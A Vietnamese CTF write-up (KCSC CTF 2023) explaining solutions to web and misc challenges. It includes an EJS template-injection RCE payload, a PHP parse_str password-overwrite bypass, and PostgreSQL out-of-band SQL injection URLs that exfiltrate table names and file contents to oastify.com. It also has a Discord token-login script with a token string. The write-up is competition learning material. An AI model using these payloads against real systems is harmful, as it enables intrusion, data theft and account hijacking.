KCSC CTF 2023 WRITE UP
Web challenges
valentine (stolen)
Phân tích
Vào chall ta nhận được một form để tạo card cho valentine:
Nhập giá trị bất kỳ vào biến name
và submit ta nhận được:
Trông khá quen thuộc với chall có trong giải hxp 2022 CTF
.
Đi kèm với link vào chall ta có thêm link write up và file source code:
Sau khi đã đọc write up và làm theo y như write up thì...
Dĩ nhiên là không được rùi vì tác giả đã sửa source code:
Tiếp tục search thì có vẻ chall này có liên quan đến CVE-2022-29078 lợi dụng view options
của thư viện ejs. Nhưng CVE này chỉ hoạt động ở trước phiên bản ejs 3.1.7 còn phiên bản challenge sử dụng là 3.1.9:
Có vẻ không giòn, mình tiếp tục đọc write up chính của giải và thấy payload:
<.- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() .>
Nhưng dấu -
đã bị filter làm sao để sử dụng được payload này đây?
đọc lại source code thì mình thấy có đoạn replace này:
Khai thác
Ngon, thay <.-
thành {{
và .>
thành }}
nên mình có payload cuối cùng:
{{ global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() }} {{ name }}
Submit payload trên và:
Bypass Captcha
Phân tích
Vào chall ta nhận được một form submit password:
Đọc file source:
Để có được flag thì verify captcha ($data->success
) phải bằng 1 và thời gian từ lúc verify captcha đến lúc submit form phải nhỏ hơn 5 giây. Tiếp theo là password chúng ta nhập vào ($passwd
) phải bằng với password được lưu trong server($PASSWD
).
Đọc file config.php
:
Ta thấy hàm parse_str($_SERVER['QUERY_STRING']);
$_SERVER['QUERY_STRING'] là một biến siêu toàn cục trong PHP chứa chuỗi truy vấn được gửi đến trang hiện tại. Hàm parse_str() trong PHP được sử dụng để phân tích chuỗi truy vấn (query string) thành các cặp giá trị khóa - giá trị.
Vậy là ta có thể dựa vào hàm parse_str()
để ghi đè biến $PASSWD
cho nó trùng với password mà chúng ta nhập.
Nhưng vấn đề là khi ta submit form bằng POST
method thì phần QUERY_STRING
trên URL sẽ không được gửi đi và server sẽ không khi đè được $PASSWD
.
Khai thác
Để thực hiện được điều này thì ta có thể sửa thẳng attribute action
trong form html thành action=index.php?PASSWD=123
sau đó verify và submit với $passwd=123
Và thế là:
Petshop
Sau khi kết thúc giải mình mới xin hint và solve chall này :<
Loại lỗ hổng trong chall là dựa vào hàm dblink_connect(text connname, text connstring)
để khai thác SQLi Out of band PostgreSQL:
dblink_connect là một hàm được sử dụng để thiết lập một kết nối từ một cơ sở dữ liệu PostgreSQL đến một cơ sở dữ liệu khác trên cùng một hoặc một máy chủ PostgreSQL khác. Dblink_connect cho phép bạn thực hiện truy vấn hoặc truy cập dữ liệu từ các cơ sở dữ liệu khác nhau thông qua một kết nối từ xa.
connname: Tên định danh cho kết nối. Đây là một giá trị text và được sử dụng để đại diện cho kết nối trong các cuộc gọi hàm dblink khác. connstring: Chuỗi kết nối chứa các thông tin cần thiết để thiết lập kết nối đến cơ sở dữ liệu khác. Định dạng của chuỗi này phụ thuộc vào loại kết nối (VD: PostgreSQL, MySQL, Oracle).
Payload lấy tên table:
https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+tablename+from+pg_tables+limit+1)+,+'.222k7n44dimnpqudbnigx02ey54wsogd.oastify.com+user%3da+password%3da+'))--+-
Ngoài select tablename from pg_tables
ta còn có thể dùng SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
hoặc SELECT relname, pg_size_pretty(pg_table_size(relid)) FROM pg_catalog.pg_stat_user_tables;
Sau khi đã có tên bảng là searches
ta tiếp tục tìm tên cột:
https://petshop.kcsc.tf/?sp='+union+SELECT+NULL,+dblink_connect(CONCAT('host%3d',(SELECT+column_name+from+information_schema.columns+where+table_name+%3d+'searches'+limit+1+offset+1)+,+'.3jnlool5uj3o6rbesozhe1jff6lx9qxf.oastify.com+user%3da+password%3da+'))--+-
Để lấy kết quả từ hàng những hàng tiếp theo trong kết quả truy vấn trong PostgreSQL, bạn có thể sử dụng cú pháp LIMIT và OFFSET. Cú pháp LIMIT được sử dụng để giới hạn số lượng hàng được trả về, và cú pháp OFFSET được sử dụng để chỉ định vị trí hàng muốn bỏ qua
Sau khi đọc cột search ta thấy nó chứa một đường dẫn /var/lib/postgresql/data/sqlOutOfBand
Trong PostgreSQL có thể dùng pg_read_file() để đọc file và dùng pg_read_binary_file() để đọc file binary.
Đọc file binary trên với payload:
https://petshop.kcsc.tf/?sp=%27%20union%20SELECT%20NULL,%20dblink_connect(CONCAT(%27host=%27,(SELECT%20pg_read_binary_file%20(%27/var/lib/postgresql/data/sqlOutOfBand%27))%20,%20%27.7y6p3s099nislvqi7selt5yjua01oxcm.oastify.com%20user=a%20password=a%20%27))--%20-
Sau đó ASCII Hex Decode đoạn hex nhận được và ta có được flag:
Misc challenges
Git Gud
Phân tích
Download file về và giải nén ra ta có 2 file: .git
và README.md
Đọc file README.md
thấy có 1 link youtube và link này để troll
Tiếp tục đến file .git
đọc file logs/HEAD
ta thấy:
File được clone về bởi bquanman
Khai thác
Sử dụng lệnh git reset --hard HEAD^
để di chuyển HEAD đến commit cha
Tại commit cha thấy rằng file README.md đã được update, thử đọc xem sao:
Vẫn chưa có thêm gì :<, tiếp tục chuyển HEAD về commit cha
Thấy file ảnh rac.jpg
bị xóa tại HEAD này, tiếp tục chuyển HEAD về để xem ảnh đó là ảnh gì:
Mở ảnh đó lên và HEHE:
Shackles
Phân tích
Search justatree781
và ta nhận được một trang twitter của justatree781 có chứa 1 link đến gist: https://gist.github.com/truongangok
Đọc các file trong gist đó, nhưng không có gì
Thoát khỏi chế độ view raw và mình đã thấy một đoạn hội thoại khá thú vị:
Khai thác
Bài này phải đến sau khi kết thúc giải, đi xin hint mình mới biết làm bước cuối
Đấy chính là add token Authorization vào cookie để đăng nhập vào discord của justatree781
Có thể chạy đoạn code này trong console log
function login(token) {
setInterval(() => {
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
}, 50);
setTimeout(() => {
location.reload();
}, 2500);
}
login('MTA0OTI2NDEwOTIxODE4NTI0Nw.GYYIn3.fO2pfn9HuvHhfV1IWnfbNzVh9ZSE75XhM5dnLs') // Paste token here
Hoặc sử dụng extension: https://chrome.google.com/webstore/detail/discord-token-login/ealjoeebhfijfimofmecjcjcigmadcai
Và flag chính là username của tài khoản đó.
All rights reserved